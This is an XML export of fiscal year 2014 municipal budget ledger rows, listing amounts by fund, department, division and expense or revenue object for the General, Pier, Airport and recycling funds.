<row _id="6571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="6575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14101.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14101.0</total></row>
<row _id="6576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>65143.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65143.0</total></row>
<row _id="6577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2859.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2859.0</total></row>
<row _id="6578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>188531.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>188531.0</total></row>
<row _id="6579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6914.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="6580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="6581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1944.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1944.0</total></row>
<row _id="6582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533280.0</object><object_description>AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>143500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>143500.0</total></row>
<row _id="6583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533290.0</object><object_description>LANDSCAPE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25600.0</total></row>
<row _id="6584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="6585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30257.0</total></row>
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<row _id="6629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17305.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17305.0</total></row>
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<row _id="6631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7630.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7630.0</total></row>
<row _id="6632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>577970.0</object><object_description>INSURANCE ADMIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>61500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61500.0</total></row>
<row _id="6633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404930.0</object><object_description>SALE OF COMPOSTING BINS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6045.0</total></row>
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<row _id="6636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>32687.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32687.0</total></row>
<row _id="6637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31285.0</total></row>
<row _id="6638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1296.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1296.0</total></row>
<row _id="6639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16451.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16451.0</total></row>
<row _id="6640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="6641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402110.0</object><object_description>AIRPORT - HANGAR RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-193135.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-193135.0</total></row>
<row _id="6642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402130.0</object><object_description>AIRPORT - LAND LEASE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1512367.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1512367.0</total></row>
<row _id="6643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402170.0</object><object_description>LANDING FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1528082.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1528082.0</total></row>
<row _id="6644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="6645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>727.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>727.0</total></row>
<row _id="6646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77317.0</total></row>
<row _id="6647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2960.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2960.0</total></row>
<row _id="6648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40775.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40775.0</total></row>
<row _id="6649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>395622.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>395622.0</total></row>
<row _id="6650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>402010.0</object><object_description>SM PIER - RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>405170.0</object><object_description>CAM FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144211.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144211.0</total></row>
<row _id="6653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17343.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17343.0</total></row>
<row _id="6654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>64925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>64925.0</total></row>
<row _id="6655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1574.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1574.0</total></row>
<row _id="6656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>82941.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82941.0</total></row>
<row _id="6657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="6658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="6659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>33000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33000.0</total></row>
<row _id="6660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14854.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14854.0</total></row>
<row _id="6661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>187595.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187595.0</total></row>
<row _id="6662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>76.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76.0</total></row>
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<row _id="6664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401580.0</object><object_description>RECYCLED MATERIALS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-405400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-405400.0</total></row>
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<row _id="6668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>403460.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>403460.0</total></row>
